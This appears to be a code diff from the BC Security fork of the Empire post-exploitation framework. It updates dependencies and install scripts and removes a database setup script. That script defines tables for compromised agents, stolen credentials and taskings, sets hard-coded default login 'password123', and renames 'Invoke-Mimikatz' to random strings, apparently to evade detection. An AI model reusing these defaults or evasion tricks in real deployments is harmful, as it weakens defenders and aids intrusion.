801 {file = "SQLAlchemy-1.3.20.tar.gz", hash = "sha256:d2f25c7f410338d31666d7ddedfa67570900e248b940d186b48461bd4e5569a1"},
802 ]
803 sqlalchemy-utc = [
804 {file = "SQLAlchemy-Utc-0.11.0.tar.gz", hash = "sha256:62e1a62ce7a2379a4655a9edb21a9bc1b292383f6f774a713dd5068dd152918a"},
805 {file = "SQLAlchemy_Utc-0.11.0-py2.py3-none-any.whl", hash = "sha256:b0bdda2d442d40b02559e2a7ad28f40e867abd0f8c4f513fefc63c8a02935158"},
806 ]
727807 urllib3 = [
728808 {file = "urllib3-1.25.10-py2.py3-none-any.whl", hash = "sha256:e7983572181f5e1522d9c98453462384ee92a0be7fac5f1413a1e35c56cc0461"},
729809 {file = "urllib3-1.25.10.tar.gz", hash = "sha256:91056c15fa70756691db97756772bb1eb9678fa585d9184f24534b100dc60f4a"},
730810 ]
811 wcwidth = [
812 {file = "wcwidth-0.2.5-py2.py3-none-any.whl", hash = "sha256:beb4802a9cebb9144e99086eff703a642a13d6a0052920003a230f3294bbe784"},
813 {file = "wcwidth-0.2.5.tar.gz", hash = "sha256:c4d647b99872929fdb7bdcaa4fbe7f01413ed3d98077df798530e5b04f116c83"},
814 ]
731815 werkzeug = [
732816 {file = "Werkzeug-1.0.1-py2.py3-none-any.whl", hash = "sha256:2de2a5db0baeae7b2d2664949077c2ac63fbd16d98da0ff71837f7d1dea3fd43"},
733817 {file = "Werkzeug-1.0.1.tar.gz", hash = "sha256:6c80b1e5ad3665290ea39320b91e1be1e0d5f60652b964a3070216de83d2e47c"},
00 [tool.poetry]
11 name = "Empire - BC Security Fork"
2 version = "3.5.0"
2 version = "3.6.3"
33 description = ""
44 authors = ["BC Security <[email protected]>"]
55 readme = "README.md"
2626 pyminifier = "*"
2727 xlutils = "*"
2828 pefile = "*"
29 simplejson = "*"
3029 bcrypt = "*"
3130 pycrypto = "*"
3231 pyparsing = "*"
33 flask-socketio = "*"
32 PyMySQL = "^0.10.1"
33 SQLAlchemy = "^1.3.20"
34 PyYAML = "^5.3.1"
35 cffi = "1.14.4"
36 Flask-SocketIO = "^4.3.2"
37 SQLAlchemy-Utc = "^0.11.0"
38 prompt-toolkit = "^3.0.9"
3439
3540 [tool.poetry.dev-dependencies]
3641
8585 }
8686
8787 function install_xar() {
88 # xar-1.6.1 has an incompatability with libssl 1.1.x that is patched here
88 # xar-1.6.1 has an incompatibility with libssl 1.1.x that is patched here
8989 # for older OS on libssl 1.0.x, we continue to use 1.6.1
9090 if is_libssl_1_0; then
9191 wget https://github.com/BC-SECURITY/xar/archive/xar-1.6.1.tar.gz
171171 # Install Python dependencies
172172 sudo pip3 install -r "$Pip_file"
173173
174 # Generate a cert
175 ./cert.sh
176
174177 # Set up the database schema
175178 python3 ./setup_database.py
176
177 # Generate a cert
178 ./cert.sh
179179
180180 cd ..
181181
2020 pycrypto
2121 pyparsing
2222 flask-socketio
23 sqlalchemy
2020 simplejson
2121 pyparsing
2222 flask-socketio
23 sqlalchemy
00 #!/bin/bash
11
22 if [[ $EUID -ne 0 ]]; then
3 echo " [!]This script must be run as root" 1>&2
3 echo " [!] This script must be run as root" 1>&2
44 exit 1
55 fi
66
1111 cd ./setup
1212 fi
1313
14 # reset the database
15 if [ -e ../data/empire.db ]
16 then
17 rm ../data/empire.db
18 fi
19
20 python3 ./setup_database.py
2114 cd ..
2215
2316 # remove the debug file if it exists
00 #!/usr/bin/env python3
11
2 from __future__ import print_function
2 # Keeping thise file around as to not break user's scripts, but it is no longer necessary to
3 # setup the database from outside empire.
34
4 import hashlib
5 import os
6 import random
7 import sqlite3
8 import string
9 from builtins import input
10 from builtins import range
11
12 import bcrypt
13
14 ###################################################
15 #
16 # Default values for the config
17 #
18 ###################################################
19
20 # Staging Key is set up via environmental variable
21 # or via command line. By setting RANDOM a randomly
22 # selected password will automatically be selected
23 # or it can be set to any bash acceptable character
24 # set for a password.
25
26 STAGING_KEY = os.getenv('STAGING_KEY', "BLANK")
27 punctuation = '!#%&()*+,-./:;<=>?@[]^_{|}~'
28
29 # otherwise prompt the user for a set value to hash for the negotiation password
30 if STAGING_KEY == "BLANK":
31 choice = input("\n [>] Enter server negotiation password, enter for random generation: ")
32 if choice == "":
33 # if no password is entered, generation something random
34 STAGING_KEY = ''.join(random.sample(string.ascii_letters + string.digits + punctuation, 32))
35 else:
36 STAGING_KEY = hashlib.md5(choice.encode('utf-8')).hexdigest()
37 elif STAGING_KEY == "RANDOM":
38 STAGING_KEY = ''.join(random.sample(string.ascii_letters + string.digits + punctuation, 32))
39
40 # Calculate the install path. We know the project directory will always be the parent of the current directory. Any modifications of the folder structure will
41 # need to be applied here.
42 INSTALL_PATH = os.path.dirname(os.path.dirname(os.path.realpath(__file__))) + "/"
43
44 # an IP white list to ONLY accept clients from
45 # format is "192.168.1.1,192.168.1.10-192.168.1.100,10.0.0.0/8"
46 IP_WHITELIST = ""
47
48 # an IP black list to reject accept clients from
49 # format is "192.168.1.1,192.168.1.10-192.168.1.100,10.0.0.0/8"
50 IP_BLACKLIST = ""
51
52 # default credentials used to log into the RESTful API
53 API_USERNAME = "empireadmin"
54 API_PASSWORD = bcrypt.hashpw(b"password123", bcrypt.gensalt())
55
56 # default obfuscation setting
57 OBFUSCATE = 0
58
59 # default obfuscation command
60 OBFUSCATE_COMMAND = r'Token\All\1'
61 ###################################################
62 #
63 # Database setup.
64 #
65 ###################################################
66
67 conn = sqlite3.connect('%s/data/empire.db' % INSTALL_PATH)
68
69 c = conn.cursor()
70
71 # try to prevent some of the weird sqlite I/O errors
72 c.execute('PRAGMA journal_mode = OFF')
73
74 c.execute('DROP TABLE IF EXISTS config')
75 c.execute('''CREATE TABLE config (
76 "staging_key" text,
77 "install_path" text,
78 "ip_whitelist" text,
79 "ip_blacklist" text,
80 "autorun_command" text,
81 "autorun_data" text,
82 "rootuser" boolean,
83 "obfuscate" integer,
84 "obfuscate_command" text
85 )''')
86
87 # kick off the config component of the database
88 c.execute("INSERT INTO config VALUES (?,?,?,?,?,?,?,?,?)",
89 (STAGING_KEY, INSTALL_PATH, IP_WHITELIST, IP_BLACKLIST, '', '', False, OBFUSCATE, OBFUSCATE_COMMAND))
90
91 c.execute('''CREATE TABLE "agents" (
92 "id" integer PRIMARY KEY,
93 "session_id" text,
94 "listener" text,
95 "name" text,
96 "language" text,
97 "language_version" text,
98 "delay" integer,
99 "jitter" real,
100 "external_ip" text,
101 "internal_ip" text,
102 "username" text,
103 "high_integrity" integer,
104 "process_name" text,
105 "process_id" text,
106 "hostname" text,
107 "os_details" text,
108 "session_key" text,
109 "nonce" text,
110 "checkin_time" timestamp,
111 "lastseen_time" timestamp,
112 "parent" text,
113 "children" text,
114 "servers" text,
115 "profile" text,
116 "functions" text,
117 "kill_date" text,
118 "working_hours" text,
119 "lost_limit" integer,
120 "taskings" text,
121 "results" text,
122 "notes" text
123 )''')
124
125 # the 'options' field contains a pickled version of all
126 # currently set listener options
127 c.execute('''CREATE TABLE "listeners" (
128 "id" integer PRIMARY KEY,
129 "name" text,
130 "module" text,
131 "listener_type" text,
132 "listener_category" text,
133 "enabled" boolean,
134 "options" blob,
135 "created_at" timestamp
136 )''')
137
138 # type = hash, plaintext, token
139 # for krbtgt, the domain SID is stored in misc
140 # for tokens, the data is base64'ed and stored in pass
141 c.execute('''CREATE TABLE "credentials" (
142 "id" integer PRIMARY KEY,
143 "credtype" text,
144 "domain" text,
145 "username" text,
146 "password" text,
147 "host" text,
148 "os" text,
149 "sid" text,
150 "notes" text
151 )''')
152
153 c.execute('''CREATE TABLE "taskings" (
154 "id" integer,
155 "data" text,
156 "agent" text,
157 "user_id" text,
158 "timestamp" timestamp,
159 "module_name" text,
160 PRIMARY KEY(id, agent)
161 )''')
162
163 c.execute('''CREATE TABLE "results" (
164 "id" integer,
165 "data" text,
166 "agent" text,
167 "user_id" text,
168 PRIMARY KEY(id, agent)
169 )''')
170
171 # event_types -> checkin, task, result, rename
172 c.execute('''CREATE TABLE "reporting" (
173 "id" integer PRIMARY KEY,
174 "name" text,
175 "event_type" text,
176 "message" text,
177 "timestamp" timestamp,
178 "taskID" integer,
179 FOREIGN KEY(taskID) REFERENCES results(id)
180 )''')
181
182 c.execute('''CREATE TABLE "users" (
183 "id" integer PRIMARY KEY,
184 "username" text unique,
185 "password" text,
186 "api_token" text,
187 "last_logon_time" timestamp,
188 "enabled" boolean,
189 "admin" boolean,
190 "notes" text
191 )''')
192
193 c.execute("INSERT INTO users VALUES (?,?,?,?,?,?,?,?)", ("1", API_USERNAME, API_PASSWORD, "", "", True, True, ""))
194
195 c.execute('''CREATE TABLE "functions" (
196 "Keyword" text,
197 "Replacement" text
198 )''')
199
200 rand1 = random.choice(string.ascii_uppercase) + ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(4))
201 rand2 = random.choice(string.ascii_uppercase) + ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(4))
202 c.execute("INSERT INTO functions VALUES(?,?)", ('Invoke-Mimikatz', rand1))
203 c.execute("INSERT INTO functions VALUES(?,?)", ('Invoke-Empire', rand2))
204
205 c.execute('''CREATE TABLE "file_directory" (
206 "id" INTEGER PRIMARY KEY,
207 "session_id" TEXT,
208 "name" TEXT,
209 "path" TEXT,
210 "parent_id" INTEGER NULLABLE,
211 "is_file" boolean,
212 FOREIGN KEY (parent_id) REFERENCES file_directory(id) ON DELETE CASCADE
213 );''')
214
215 # commit the changes and close everything off
216 conn.commit()
217 conn.close()
218
219 print("\n [*] Database setup completed!\n")
5 print('As of Empire 3.7, the database will be managed from within Empire.')
6 print('Empire will generate a db file upon starting up if one is not found.')
7 print('To control default values, add them to config.yaml')